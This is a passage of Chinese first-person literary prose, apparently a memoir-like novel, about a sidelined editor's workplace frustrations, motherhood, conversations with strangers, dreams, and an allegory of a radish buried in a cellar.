“每周都要例会。你说我们这些人都不是一个工种的,怎么到一起讨论。”张菲说,“还巧妙地编了一个组名,叫综合组。怎么不叫五花八门组。他们自己也知道我们这一组的工作差别太大了吧。” “是的。有给小猫铲屎的,有给小猫听音乐的,有给小猫测心跳的,有给小猫画像的。大家都是不同的岗位,你说我们怎么讨论。” 赵云说。 “还非得开上两个小时。”张菲说,“我们简单地说说,没事就回去吧。回去还能干点事儿,否则在这里死吹死坐啊。” “我跟大组长说了,我们就开一个小时。”赵云说。 “要搞一个模拟讲座的,大家都要有讲座。我们就来拍个照吧。”赵云说。 “我先来!”张菲说,“早整完早拉倒。反正都是形式。” “要幻灯片吧?”我说,“这儿离图书室近,我去拿优盘!” “好的。那辛苦你了。”赵云说。 “不辛苦!”我跑到图书室把优盘从包里拿出来,再飞奔回去。 “我来把幻灯片点开。”我说,“要不,我先来?” “好!不就是拍个照嘛。”赵云说着给我拍了个照。 “好了吗?”我问她。 “好了!”赵云说。 “我们现在老积极了,争着干!抢着干!”我说。 “本来就是,早干完早拉倒!”张菲说。 “我来给你调好幻灯片吧。”我跟张菲说,“你的背景不能跟我的一样啊。” “没事儿!我的跟你的差不多。没人看!”张菲说。她也上去拍了照。 “我也去拍一个吧。”陈墨说。 “我们三个年龄差不多大吧?都是八零后。”我说。 “陈墨是八七的,我八三,你八四。”张菲说。 “你是老大,我是老二,陈墨是老三。”我说。 “宋编辑,听张菲说,你家也是北方的?”陈墨说,“跟我老家是一个地方啊?” “是的。我自从怀孕,都已经三四年没回去了。你经常回娘家吧?”我问陈墨。 “我也不怎么回去。人家不在乎。”陈墨说。 “是的!是的!我明白,你一说我就知道。”我说。 “我姊妹三个。我还有个弟弟,还有个妹妹。”陈墨说。 “是的,我也一样。都是重男轻女。”我说。 “我以前也带着孩子回去。可是过年,我爸妈都不给孩子压岁钱。后来,是我自己偷偷包了红包给孩子,跟孩子说,是他外公外婆给的。”陈墨说。 “要我,我就不自欺欺人。”我说。 “我自欺欺人的。”陈墨笑着说。 “不过,你那样做是为了安抚孩子。”我说,“你爸妈是不是家境不好啊?” “我父母条件好,都给我弟弟了。不给我们。”陈墨说。 “我妈是条件不好。不过,她也是拿着外孙不着重。我跟我妹妹生孩子,我妈妈都没去过。我孩子都两岁了,我妈妈也没来看过。说是怕来给我添麻烦,其实还是不看重。要是孙子,她坐飞机也会去看的。”我说。 “我爸妈过年不给我孩子红包。我倒是无所谓,我老公不高兴。我后来就不怎么回去了。”陈墨说。 “我也是。我跟我婆婆一起都要被气地产后抑郁了。我哭着让我妈妈来给我带孩子,我妈妈说‘门儿都没有’。我们的父母给不了我们支撑。所以,我是坚决不会再生二胎了。我女儿以后需要我,我就奔过去。我不会让她吃我吃过的苦。再说了,养两个我也养不起。一个都累死了。” 她说:“是的。我也不会再生了。” “生什么啊?我肚子上的刀口一到下雨天还隐隐作痛呢!”张菲说。 “你是剖的啊?你这么厉害,你还剖啊?”我问她。 “我儿子这个小赤佬他是臀位,只能剖!”张菲说。 “我的天!这个幸好现在科技发达。要是在古代会要你的命的。”我说。 “所以我现在看到他就想打他。他现在特别皮,特别犯嫌。”张菲说。 “你打他什么呀,人家以后还给你生孙子呢。”我说。 “他爱生不生!反正我不给他带!”张菲说。 “你不给他带,你不得出钱啊?”我说。 “我不出!我的钱我自己拿着。养老也不用他们管。”张菲说,“我要为自己而活!” “我的钱只要我女儿需要,我全都给她。”我说。 “你不能这样,你这样他们会把你榨干的。”陈墨说。 “我就是等着孩子来榨干我。”我笑着说,“我自愿被她榨干,我愿意被她榨干我的最后一滴血!” “你不能这样。我们要有自己的生活。”赵云说。 “我要什么自己的生活。我生完孩子就没给自己买过衣服。我连头发白了都不想去染了。我也不减肥,我要是减肥了,我还能扛得起这些负担吗?我现在必须强壮,我要壮地跟骡马一样。” “我也不减肥,我也无所谓了。”陈墨说。 “我是想减肥,减不掉。”张菲说。 那几个小姑娘也陆陆续续地去拍了照。 赵云说:“不就是做材料嘛。什么都要拍照留下材料。要是需要两次讲座,我们就互相换个外套、马甲什么的穿穿。省得拍不出两次的效果。” “你怎么那么聪明啊!”我说。 “这都是舶来品,大家都是这样搞的。”赵云说。 “对了。我们每个人这半年还要开一次养猫讲座。要拍照,要两个去听讲座的人的听讲记录以及评价表。” “这个我都可以自己搞定的。你们大家都忙,也都不要去听了。我们从编辑被搞成了养猫的,现在连猫都不让养了,让我们跟着打杂儿,还让我们跟着人家一起开什么讲座儿,这本就是偏离了我们的本行,拐了十八个弯儿了。”张菲说。 “大家去听一下,也是一种尊重。”赵云说,“不过我们综合组的下午都忙,可能都不是太有时间去听。” “我们不需要尊重,已经是对我们不尊重了,都被搞到后勤打杂了,还说什么尊重不尊重。”张菲说。 我说:“张菲真通透。我真是没有看错人。我真喜欢你们。张菲说的正是我想说的。我也不需要别人去听。我一个编辑现在开养猫的讲座,我真地觉得可悲又可笑。” “大家这半年要交的还是那些,工作参考、学习笔记。”张菲说。 “我们也要交?”我问张菲说。 “对呀,以前在实践部的时候都是组里统一的,由组长提供,我们打印一下就行了。现在我们自己去找吗?”张菲说。 “你们辛苦一下,自己在网上找找吧。”赵云说。 我说:“我怕不好找,怎么办?那么系统的东西,都是要钱的。我自己花钱买吧,就怕买都买不到。” “你不要自己花钱。给你那样的工作,不配让你自己再贴钱。记住,一分钱不要贴。”张菲说。 “可是,非要我交一年的工作参考,我一时到哪里找去。我都担心我花钱也买不到。”我说。 “我来到网上找找看,我找到了给你。”张菲说。 “好的。太感谢你了。”我说。 “对了,你们两个的工作参考,还要辛苦你们自己按照社里统一的格式套进去。”赵云说,“工作目标,工作重、难点,思路设计等等的那些。” “然后自己再写一个工作反思?”张菲说。 “是的。”赵云说,“辛苦你们了。” “我现在又不是专门养猫的。”张菲说,“我是给猫测体温的。她是给猫铲屎的。你说这个勤杂活儿哪里还要那么多的花样儿?” “就是专门养猫的也不需要整那么多花架子。传统的养猫方式就很好。要什么花架子啊?哪个村妇不会养猫啊?人家有工作参考吗?有学习笔记吗?要开讲座吗?把时间跟精力都花在搞那些花架子上,哪还有心思专心养猫啊?安安静静地喂猫不好吗?”赵云说。 “毛学望主任开会的时候不是说,你不写论文,怎么证明你会养猫嘛?”我说。 “这话简直是放屁的!”张菲说,“他要是不写篇论文,就不能证明他会吃饭了啊?我也不爱写论文。我读研的时候就不爱写论文。文科的论文,写出来给谁看的啊?谁要看啊?也就是他们自己评职称的时候用。” “这才是无用之用,无用之大用!我们都是傻子吧。光知道工作,不知道写论文。”我说。 “是的,以后干什么都要留个证书,荣誉加身,年终考核才能样样满分。否则你的表现就是不优秀。”陈墨说。 “你们的工作参考都是现成的,我们是要自己编工作底本,还要跟你们的格式一致。真是的!给你们一人发一盆盆栽,我们没有。让我们自己去野外挖一棵。我们自己拿着铁锹费劲千辛万苦去挖了来,还得要求我们的长相、姿势跟你们的一致。要不就是我们太懒太差劲,你说这多有意思吧。”张菲说。 “是的,我们要辛苦地去搞,弄地不好就做实了我们确实是差劲,活该是边角料。”我说。 “你也不要怕他们,他们是什么东西啊。你别以为他是什么社长副社长,出了这个门,他是什么鸟东西啊?”张菲说。 “你别说了。”我笑着说,“别一会儿,那个‘鸟东西’来了。” “没事儿,没事儿,我发现你就是胆子小。你怕他们干什么啊。我就跟你不一样,他们说什么让我不高兴我就怼。你肯定是,他们说什么,你就‘嗯嗯嗯’答应着。”张菲说。 “我发现她特别能忍。”陈墨说。 “啊?我还以为我是刺儿头,原来在你们眼里我是忍者神龟!这对我简直是赞美!我好开心啊!”我碰了一下陈墨的脸蛋儿说。 “隐忍是对的。”赵云说,“不能逞匹夫之勇。古之成大事者,不惟有超世之才,亦必有坚忍不拔之志。小不忍则乱大谋。” “忍什么啊?你都被打进冷宫了,所有的晋级之路都被封死了。已经最差了,不会更差了!”张菲说。 “会的。会更差的。在他们的手里,没有最差,只有更差。”我说。 “是的。会更差的。他们去年就要把我调走。调到乡下去。我说我要带小孩儿上学。我不能去。”赵云说。 “我要去给那些小猫测心跳了。” 陈墨说,“可以散会了吗?讨论完了吗?” “可以了。讨论完了。你看我们讨论地多热烈!”赵云说,“这是他们要求的,我也没办法,你们确实辛苦的。” “行的!行的!你放心,不会难为你的。我们回去就去搞。”张菲说。 过了几天,综合组开会的时候,我跟赵云说:“我们已经把自己从野外找来的工作参考,完全套进那个黄金的套子里了。回头带回家打印。表现良好吧。” “必须点个赞。”赵云说。 “不容易,野生的。我们在野外挖来的,都要挖到石油了。”我说。 “我们可以优秀地野蛮生长。”赵云说。 “荒野求生!”我说。 “也还没有把你扔到荒野,人家是把你给荒废掉。”张菲说。 “人家把你当废柴,我们自己不能把自己当废柴。我们要变废为宝!”我说。 “是的。我们就是要努力给他们看看,到底是我们不行,还是他们有眼无珠,不识泰山!”赵云说。 “奔跑吧!兄弟!”我说,“老珍珠们!滚起来!动起来!” “我们就是要奔跑啊!漫说我不比别人差!就是我彻头彻尾地烂掉!我都不服输!我都不觉得我没有别人好!”张菲说。 “你也可以靠关系啊。你爸爸单位当年不是也招员工子女嘛。谁让你有关系不走啊?”赵云说。 “他们当年招的都是自己没本事考上本科的,我自己能考本科,我为什么不上?”张菲瞪着眼睛说,“再说了,他们船上招人,我一个女孩子我怎么去?人家嫌你是女孩子,动不动来大姨妈什么的,人家嫌你晦气的。还有,人家那些男的在船上动不动光膀子跳水,我一个女的能行吗?” “哦,原来你当年就那么清高啊,你是有关系不靠啊。”我笑着搂着张菲的肩膀说。 “跟你们一起真开心!敞亮!中通外直,不蔓不枝。女中君子!”我说。 “那必须的,环境气氛到位了。”赵云说。 夜里,宝宝睡前要听故事了。 “讲什么呀?”我问她。 “讲《咕咚来了》。”她吃着手说。 “好的。秋天来了,树上,结满了又大又圆,又香又甜的……” “木瓜!”宝宝说。 “对!木瓜。秋风吹起来了,‘呼呼呼’!一个木瓜从树上掉下来,‘咕咚’!掉进了大树下头的池塘里。谁听到了?”我问她。 “小白兔!”宝宝说。 “对!小白兔听到了!它说‘咕咚来了!’‘咕咚来了!’它秀可怕!它秀可怕!我要回家,回家找妈妈!妈妈抱!妈妈抱!”我说。 “紫色的小乌龟!”宝宝说。 “对!紫色的小乌龟看到了。它问小白兔,‘你为什么跑啊?’小白兔说,‘咕咚来了!’‘咕咚来了!’它秀可怕!它秀可怕!大家赶紧跑吧!”我说。 “要是不跑呢?”宝宝说。 “要是不跑呢,咕咚来了,就会打你的屁呀!”我说。 夜里。我做梦了。梦见了一棵大树和一条小溪。黄社长也在不远的地方。突然,从小溪里滚出来一条大鱼,那条鱼像个小海豚,比我以前见过的大鱼都要大。我刚想去把它抱回家,可是,我看看黄社长,没敢说话。很快,黄社长的锅里煮好了鱼,他全家把它吃得只剩下一条鱼尾巴了。 “你要吃吗?你吃的话,把它打包带走。”黄社长问我。 我看了看黄社长说:“我不爱吃大鱼,我爱吃小鱼。小鱼的肉细腻。不塞牙。” 是的,在梦里,我都知道,有黄社长在,我看到的鱼我也不能要。我甚至不敢吃他吃剩下的那条鱼尾巴。我怕他生气,怕他怪罪,怕他降罪。他降罪了,我就得受罪啊。你说我能不怕吗? 早上,我来到菜场,菜场的地上黑乎乎的肮脏,让我想起了那句歌唱:“现在的一片天,是肮脏的一片天,星星在文明的天空里再也看不见。”不知道为什么,时隔多年,再次唱起这首歌,我的鼻子里竟然一阵发酸。我终于到了真正地理解这首歌的时候。可是我来不及让我的鼻子继续酸下去,我像是一头被我自己驱动的驴,眼瞅着菜场的大门儿,朝着卖鱼的摊位前一头扎过去。是的,我没有时间哭泣。没有心思去哭泣。一个母亲,没有时间哭泣。一个母亲,来不及哭泣。 孩子小的时候,当妈妈的太累了。我终于知道,为什么用人单位歧视女性了。因为那些人自己也有孩子,也经历过养育孩子的苦。所以,他们果断地放弃了那个即将或是正在养育孩子的女人。他们不管那个女人要不要养育孩子,他们不管那个女人跟她的孩子有没有饭吃。是的,他们知道。 歧视你的人比你还知道你有多辛苦。打击你的人比你还知道你有多痛苦。可是,他们照样不管不顾。 我的情况还不算糟糕,婆婆还算支持。谁知道那些被婆家抛弃又没有娘家支撑的妈妈,她们的日子该有多么难呐。 周日,我和端午带着宝宝去广场上玩。端午带着宝宝坐小汽车。我跑着跟着拍照。小汽车边跑边唱歌: “我来人间一趟,本想光芒万丈,谁知世人模样只为碎银几两。 我来人间一趟,历尽风雨沧桑,无意打碎夕阳却被劝返天堂。 我来人间一趟,也曾年少轻狂,怎奈世事无常,终难如愿以偿。 我来人间一趟,受尽世态炎凉,回顾前尘过往,徒留满腹惆怅。” “爱我你就亲亲我,爱我你就夸夸我。爱我你就抱抱我,如果真的爱我,就陪陪陪陪陪陪我。如果真的爱我,就亲亲亲亲亲亲我。如果真的爱我,就夸夸夸夸夸夸我,如果真的爱我就抱抱我。” 坐完小车,我跟端午说:“这个价格还可以吧?十块钱一坐。比那些三十块钱一坐的要好多了吧。这儿又敞亮。” 端午抱起宝宝说:“我们走吧,来,爸爸抱抱!” 老板和老板娘正在忙着搭蹦床架子。 我问他们说:“你们这个场地还要收费吗?” 老板娘说:“前两年要收费,这两年不要了。” 我说:“我在淘宝上看了一下,那个摇摇车就要近一千块钱。不便宜。” 老板说:“你淘宝上看的都是便宜的,不久就会坏的。真正的摇摇车不止那些钱。就我那个小车,那一个就三千。” 端午说:“那个小屋是什么?” 老板说:“那是游戏屋。里面都是海洋球。那些球一毛四一个。一年光折损就要上千个。” 我说:“哟,不便宜啊。” 老板说:“我这个光投入就要几万。” 我说:“那要是有别人觉得这个好赚钱,也来这个地方摆摊子怎么办?你不怕有人来抢你生意吗?” 老板说:“抢不走。我们都是要去市场监管局那里登记的。我们设备都买好了,说来抢地盘就抢地盘,那还得了。之前搞一刀切,老户、新户都要收费。上面有的领导还要把他的关系户弄进来,把我们这些老户赶走。是我们去争取的。现在不要缴费了。” 我说:“怎么争取的呢?你们去哪里争取的啊?” 他笑着说:“就直接去找那个副局长啊!那些天,他在办公室里天天泡着茶等着我们。” 我说:“你好厉害啊。” 他说:“不去争取不行啊。我们设备都买好了。我们正常经营,又没有污染环境,又没有影响任何人。说不让我们干就不让我们干了。不合理啊。后来,我们把副局长都给闹回家了。” 我说:“你们真厉害。你们是怎么做到的?” 老板说:“那个副局长收别人的钱了呀。我们联合几个大户,到那儿,拉横幅。我们有证据,一条条的链条,有理有据,合理合法。我们要求也不过分,你不让我们干,你让你的关系户干,可以。你把我们的设备买走。我们花了钱买了设备,你说不让我们干,就不让我们干了。我们的投入谁来负责。” 我说:“你们真行啊。看来最不怕事儿的还是老百姓。” 他说:“现在的政府给老百姓办事儿的。你只要有证据,政府立马给你解决问题。” 我说:“你们是怎么拿到证据的?” 老板笑着说:“录音啊。我们把副局长说的话,全给录下来。他说的话前言不搭后语。还有那些关系户,我们故意诈他的话。我们说,‘你们给上面塞了钱,也挤不掉我们。’我们把他们的话全给录下来。我们有理有据啊。我们是争取权力,又不是无理取闹。” 我看了看老板,他有五十出头。长得也是清清朗朗,从他的说话、口气,都能够看出来,这个毫不起眼的玩具摊老板,头脑可是不简单。 我说:“哪个行业都有竞争。” 老板说:“那可不是。就上面那家,一年能赚二三十万。这还是保守估计。” 我说:“跟你说话真有意思,我以后有空再来。我得走了。” 老板说:“好!” 前面,端午抱着孩子已经走到了池塘旁边。我赶紧去追赶。端午抱着孩子回头看看我,我赶紧朝他们走去。端午把怀里的宝宝放下,宝宝立刻回头来找妈妈。我看见了她,立刻张开怀抱朝着她飞奔过去。宝宝也跟着跑起来。我一看宝宝跑着来找我,我跑地更快了。因为,只有我多跑几步,宝宝才能少跑几步。 社里要填写一份材料,可是图书室没有打印机。我就跟赵云发信息:“妹妹,社里不是要填写一份材料吗?图书室没有打印机,我去问了张菲,她那里的打印机也坏了,没有墨了。能麻烦你帮我打印一下吗?我自己带纸去。” 赵云说:“好的,我来帮你打印。不用带纸,反正都是社里的。” 我说:“太谢谢妹妹了,回头给你带好吃的。” 她回复说:“我们是难姐难妹!不用谢!” 我说:“我想送给你一把扇子。是沈园送我的。我现在用不着那么精致的东西了。” 她说:“好!你也不用跟我客气。” 我说:“主要是态度暖人心。你每次都是那么热情地帮我。” 她说:“应该的!都不容易。” 我说:“那我现在就去找你去了。” 我从柜子里拿出来一把扇子,那把扇子是沈园用油墨做的,木板扇面上,涂着花花绿绿的油彩,还写着四个字:不负今日。我拿起那把扇子还有一个青苹果就能直奔赵云的办公室去了。 我到了赵云办公室。把扇子和苹果放在她的桌子上。 赵云已经把我要的几张材料给打好了。 我说:“谢谢妹妹!” 赵云说:“没事儿!你太客气了!” 下班的时候,下雨了。我本来想冲出去的,因为雨太大,只好返回来开门拿伞。我举着伞来到我的电动车跟前,把我的电动车盖好。我自己打车回家。 打卡下班的时候,我遇到了赵云,她正拿着雨衣准备回家。 我跟她说:“我想打车回去,你跟我一起坐车回去吧,中途把你放下。” 赵云说:“谢谢!不用了,有雨衣呢。” 我说:“我要打车回去,我不想骑车了!” 雨下得大了起来,车子来的有些慢。终于,车来了。我收起伞,打开车门,做到前排。 司机是个女的。我跟她说:“下雨天,辛苦你了。这边的路也不好走。你快下班了吧?” 她说:“我刚下班。” 我说:“哦。你是已经下班了,平台又派单给你的?” 她说:“不是。我是下班了搞副业补贴家用。” 我说:“哦,理解,你几个孩子啊?” 她说:“我两个,大的高三,小的二年级。” 我说:“两个孩子压力大的,我一个都要养不起了。” 她说:“是的,我那个大的上高三,一个月就要四五千。” 我说:“我们家的小时候奶粉尿不湿,一个月也要四五千。你们家上高三,怎么一个月花那么多?” 她说:“要给她补课啊。” 我说:“一节课多少钱啊?” 她说:“一小时三百。” 我说:“好贵啊。” 她说:“还是大班呢,十几个人一起。” 我说:“是他们自己老师补吗?” 她说:“不是,现在老师不敢补课,是外面的机构。” 我说:“太贵了。这几年,大家挣钱那么难,他们倒是一点都不体贴。” 她说:“是的啊。你说,要的这么贵,条件好的还无所谓,像我们条件一般的,哪里承受的起啊。不补又不行,人家都补。我们还只是补三门呢。人家补的更多。” 我说:“是的,负担不起。我自从生完孩子就没买过衣服。就这样抠抠搜搜地,日子还是紧紧巴巴的。” 她说:“想存点钱根本存不下来。一有点钱就又花出去了。我天天都忙地累死了。我马上回到家,还得我去做饭。” 我说:“是的呀,我们这些中年妇女,活地多累啊。我们上班的时候忙,回家还要忙。回到家比上班还要忙,忙地坐不下来。每天几乎都要忙同样的事情。几乎每个点儿干什么都是固定的。早上买菜,晚上烧饭拖地。周而复始,忙地跟个驴似的。” 她说:“我老公也不能帮忙,油瓶倒了都不扶,里里外外都是我。” 我说:“我老公也是这样。我把虾都剪好弄好,他都不能烧。我孩子都两岁半了,他给她换个尿不湿都换不好,他能把尿不湿都能给宝宝戴反了。” 她说:“我老公他真是的,太懒了,什么活儿都是我干。” 我说:“我能理解。人家不知道的还得说是你惯的,其实根本不是你惯的。是他根本就不行。他不愿干,也干不好。你看他不愿干的那个样子,你就没劲,来火,还不如自己干。他干的你也看不上。” 她说:“是的。我早就想跟他离婚了。是他死活不离。” 我说:“我跟他也聊不来。还不如跟你说话自在。” 她说:“是的。他出去吃吧喝吧,我根本都不管。我根本不想理他。” 我说:“我也想过离婚,但是孩子还小,怕对孩子伤害太大。等孩子结婚的时候,父母离婚了,她也没面子。有什么事情,还是父母一起出面,让她感觉好。所以我也 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我笑着拍着手说:“你太好玩了,我太喜欢你了!我老公也是,他在,还不如他不在。他不在,我跟孩子好好地。他在,还不干活,只有气我。他在我眼里心里,也是生不如死。我快要生孩子的时候,羊水破了,我老公翻了个身儿,还想继续睡。” 她说:“天呢,这个太过分了。我生孩子的时候,连他们家的鸡屎都没见过。” 我说:“是的。我怀孕九个月,我婆婆没给我买过一只鸡。我孩子九个月了,她没给她买过一丝布。我们都是被逼成这样的。” 她说:“是的,都是被逼的。我要是能指望上他们,我能出来开车吗?” 我说:“我到前面就下吧。你好再接下一单。还有一段路,我自己走过去。” 她说:“没事儿。我把你送到门口儿。” 我说:“谢谢好姐姐。我一下车就给你好评。” 她说:“谢谢!” 夜里,我带着宝宝睡觉。我摸摸她的头,宝宝发烧了。她的衣服也潮了,我给她换了一件上衣。我发现她的头有些烫,我给她量了一下,37度7,低烧。 “宝宝,你是不是要喝水?” “嗯。”她答应着。 “妈妈去给你倒水。” 我给宝宝喂了水,坐着想了想,低烧要不要吃药。 “妈妈给你冲点药好吗?” “嗯。”她说。 我去冰箱里拿出宝泰康颗粒,冲在奶瓶里,喂她,她不吃。她吃自己的手,堵着自己的嘴,不肯吃药。 “宝宝,吃药!吃了药才能好啊!你不吃是吧?你要是不吃药,妈妈下半夜就带你去医院了啊。” 我想起来了,我妈妈说过,我小时候也是不想吃药的。我妈妈说:“你小的时候,冻着了。恁爸爸要给你吃药,你说你不吃药,你要去打针。恁爸爸抱着你去打针。到了题茂老爷爷那里,你又说,你不打针,你要吃药。”我想着我妈妈的话,我知道,宝宝是不会吃药的。 怎么办呢。那时候是夜里十点四十了,我决定先睡下,继续观察。 半夜里,宝宝又开始吃手,翻身、踢被子,我又起来给她换尿不湿,她的衣服又潮了,裤子也尿湿了,尿垫也尿湿了。我又给她换衣服,换她身子底下铺的尿垫,然后给她盖好被子,看着她睡下。 “宝宝,你不能再踢被子了,听到了吗?你发烧了。爸爸妈妈为什么打你骂你啊,因为你老是光屁股啊,你不能老是不穿衣服啊,你看你现在发烧了吧?爸爸妈妈秀心疼啊。你以后要好好穿衣服,穿鞋,穿袜,知道了吗?”宝宝答应着又睡着了。 一点多的时候,我又醒来了。宝宝又尿了。我给她换尿不湿,换裤子。把潮的尿垫拿出来搭在围栏上晾起来,再给她找来一个新的尿垫。 三点钟的时候,我又给宝宝量了体温,发现她的体温降下来了。我稍微放心了一点儿。我给她喂了奶,然后自己又睡下了。 我做梦了,梦见我在荆堂的家里住着,我一个人带着孩子在家里住着。我到底是带着一个孩子还是三个孩子,我有些记不清了。反正是我一个人带着孩子。徐诺也来了,他在我家西院的家里住着。晚上,徐诺到了我家,我们很自然地住到了一起。 第二天,好像他们全都知道我们的丑事了。他们都在笑。我们成了众矢之的,他们笑徐诺,笑我。我还在自己的家里,我知道他们都在笑话我,可是我并不觉得我自己有多缺德。徐诺就在西院儿,我知道他们在笑话他,我想去看看徐诺。我知道他们都在那儿,我不在乎他们怎么看怎么笑怎么说。我一点都不在乎。 我卷好了一个煎饼,我咬了一口煎饼,到了西院儿。徐诺就在西院儿。他还是有些漫不经心地样子,他们都在笑他。 我去了,他们看到我,看着徐诺,切着牙,笑地更开心了。我一点儿都不在乎。 我看到了徐诺,我问他:“徐诺,你还好吧?你没事儿吧?” 他像什么都没发生一样,他说:“我没事儿。” 我把手里的煎饼给他,我说:“给你吃。” 徐诺接过去就吃了。那是我吃了一口的煎饼,可是还有很长的一截儿。那个煎饼很好吃,我吃过一口了,我知道他不会在乎的。 闹钟响了,六点钟,我该起来了。我给宝宝量了一下体温,宝宝的体温终于降下去了。 我把她用小被子包着抱给奶奶。我跟老太太说:“她的体温降下来了。你白天再勤给她测测体温。勤给她喂喂水。我去烧点丝瓜蛋汤,你喂给她吃吃。锅里的粥,回头你也带着她喝喝。她这几天胃口不好,我给她点个素饺子,你回头带着她吃吃,你也吃吃。” 老太太说:“知道。” 我自己盛了一大碗粥凉着,再去给她烧开水,烧汤。 我边烧汤的时候,边想着夜里的梦,真是奇怪,我怎么梦见了徐诺呢。我怎么能梦见跟他有这样的事呢。不过,我知道这样的梦也是正常的。 我想到了煎饼。天气冷了,这个天适合寄煎饼了。我跟我妹妹发了一条信息说:“小妹,回等你有空了,帮我寄点煎饼吧。” 我还要忙,我也没有时间去多想它。我得去菜场给小儿买鱼。 等我去菜场的时候,我看到一个男人坐在地摊上卖鱼。他的身旁的盆子里放着很多小鱼,他的左手边的地上,躺着一条大大的鱼,那条鱼得有一二十斤,跟个小猪崽子一样。 “那个区域没有鱼,那你就再换个地方。”他抬头跟站在他跟前的几个大爷在交流着抓鱼的感想。他的脸跟徐诺很像。都是高高的个子,和光光滑滑的土豆一样的脸庞。我知道我为什么梦见徐诺了。 我很快到了单位。天是阴的,头顶上的黑云像是一顶大锅盖儿一样,笼盖四野。抬头往天上望,一只黑鸟在极高的空中使劲儿地飞翔,它朝着西南的天空飞翔。这微寒的天气是适合飞翔的,它让人精神爽朗。东北角的几抹黑云间隔着灰白的天光,像是一个孩子的脸庞。他只有一个鼻孔,他的眼睛又好看又清亮,他的左半边脸好像被谁给抹黑了,下巴上像是长了胡子,跟猴子的下巴很像。再一转头儿,那小孩儿的脸庞不见了,就在刚才他的脸的位置上,出现了一只小狗的模样儿。这样的天儿,真是变幻无常。 看着这样的天光,我又有了力量。我知道,我必须混出个人样儿,才能被人当成一个人的样儿。 我童年的经历给了我很大的力气。我是刨过地的,我一橛头一橛头地刨地,我有的是力气。我是倒过粪的,我一茬茬地倒粪,把那些粪倒地大小不一,再把大块的改小一点儿,我有的是耐心和毅力。 3.萝卜的故事 你好像是一个萝卜,他们辛辛苦苦地把你往泥坑里踩了又踩,按了又按,直到把你生生地给踩成了一个残次品。 他们说:“看!这是一个没用的萝卜!不能炒菜,不能吃,留着也没什么用,随便给它扔到地窖去吧!”于是,他们欢欢喜喜把你扔进了一个地窖里。 “把它扔进地窖里,让它自生自灭,蛮好的。留着它也没什么用。”他们其中的一个说。 “是的。它很适合那里。你这都是为它考虑。”另一个也客客气气欢欢喜喜地说。他们就这样愉快地决定了把你废弃。他们都很满意都很欢喜。 把你扔进地窖以后,他们也彻底放了心,如了意。他们偶尔想到你,看到你,也是觉得满心欢喜。也觉得你比以前更加可爱可喜。因为你是在他们的踩踏按压下成了一个合格的完全令他们满意的残次品了。你是他们亲手制造的残次品,他们能不满意吗? 能亲手毁掉一个人,能亲手把一个人制造成残次品,那也是一种无上的成就啊!他们看着你的眼神儿,跟你说话的语气也更加和蔼了。毕竟你这样的残次品是他们亲手制造出来的啊。 就像女娲造人的时候,精心制造了一些贵族,又随便甩了一些泥巴制造成了下等人一样。自己亲手制造的残次品,那也是有感情的啊。何况,你又心安理得地愿意乖乖地做一个残次品,那他们对你就更加满意和哀怜了。 他们为他们能够亲手制造一些残次品而感到骄傲与满足了。 他们能把一个正常的人制造成一个残次品,你说他们伟大不伟大!有那么一阵子,他们真是飘飘然了,仿佛整个宇宙都是在他们的掌控之中了。 啊!我多伟大!我可以把一个正常的人制造成一个残次品呢! 忽而,他捂住自己的嘴,不能笑出声,不能笑地那么放荡,不能被人听见! 哈哈哈!让那个残次品在那暗无天日的地窖里待着吧!没有阳光,没有雨水,我看它还怎么折腾。 什么,你说它还能发芽?狗屁!它被深埋在地窖里,它即使想发芽也发不到窖口儿那里去!我他妈把它的出口全都给封死!不是有国法,我真想让它死!狗东西,敢得罪老子!敢得罪老娘!不知道天高地厚的狗东西!我今天就是让你知道我的厉害!我就是让你有苦说不出来!怎么样,你尝到了被我处置的滋味了吧?你又能把我怎么样呢?你还有什么狗屁本事呢!你没本事了!哈哈哈!哼哼哼!你就是个例子!谁敢再跟我过不去,我就让她跟你一样的下场! 哈哈哈!雷公电母一起快乐地笑着。 “它再不老实,我就去劈死她!”雷公说。 “哈哈哈!她都要被你给弄死了,她这回可尝到了苦头,她这回可得乖乖地了!不是还有我吗?她要是再不老实,我就去电死她!”电母说。 你就孤零零地待在他们给你扔进来的地窖里。其余的那些萝卜都奋力地舞蹈,奋力地往上窜。 “看!我比你漂亮!我比你茁壮!我比你会跳舞,我头上的萝卜缨子会扭成麻花儿的形状!这是我的天赋和特长!我因此还得到了一张奖状!”一棵从地里冒出头来的带着长长的萝卜缨子的青黑的大萝卜说。 “看,我得到了大王的欣赏!我可以被雕刻成一个雕花的萝卜!你是什么东西,别以为自己了不起,你就是一个残次品,崩管你自己承不承认!你就是一个残次品!你没有资格光临我们这些高级萝卜的舞会!我们这些优秀的高贵的萝卜来尽情地舞蹈吧!” 可是,你是萝卜吗?你不是!没有人相信你不是!可是你自己知道你不是!你被压在窖底,你不害怕。你看不到那些萝卜的盛会,你也不羡慕。你在这里,好好地,吃你的土,听窖顶上传来的春天的声音。你是很会吃土的,那些窖底的土,你是越吃越香,越吃越有精神了。 没有太阳,还有窖顶夜晚的月光。在那些萝卜欢腾、嬉笑的时候,你趁着那月光,努力地长大、长胖。你没有发黑、腐烂,你更没有萎缩,蔫吧。你反而变得白胖了。 你知道,等惊蛰一到,你会冲开那个压制你的井窖,冲出去,冲上云霄。现在,趁着那雷公电母还在得意于你的一败涂地的时候,你可千万不能吭声儿,你得把你的尾巴蜷缩着,像个笨蛋萝卜。你不能让他们知道,你还有足够的能量能够冲出去。他们要是知道了,他们会变本加厉,给封闭你的井窖,落下石,填上泥。 是的,他们会的。他们很会。这事儿你非常确信! 假若哪一天你冲出了泥土,冲向了云端。 他们还会骄傲地说:“嗬!这都是当年我踩踏它的结果!要不是我脚底下那么使劲儿,要不是我踩地那么狠。它能一股劲儿地冲出来吗?我的踩踏居然成就了一个天才!啊!我多伟大!” 4.关于鸡 我到菜场了,我要杀一只鸡。 “老板娘,来一只公鸡。” 老板娘说:“好的,好的。”她伸出手,去抓铁笼子里那只美丽的公鸡。那只公鸡有油亮脖子金黄脚和大红冠子花外衣。大小正合适。我很满意。 “啊!啊!啊!”那只公鸡惨烈地叫着。我知道一个生命死在我的手里了。 老板娘递给我一个红牌,那是我的那只鸡的编号。我的鸡是20号。 铁笼子里头的鸡,眼见着自己的同类被杀戮,一个个吓得瑟瑟发抖。在这还不算是多冷的冬天,它们害怕地直哆嗦。它手足无措,哆哆嗦嗦地去啄自己脖颈上的羽毛。啄那上头的鸡虱。将死之鸡,是连一顿牢饭都没有的。她们战战兢兢地站在一起。谁也不知道谁会比谁先死去。 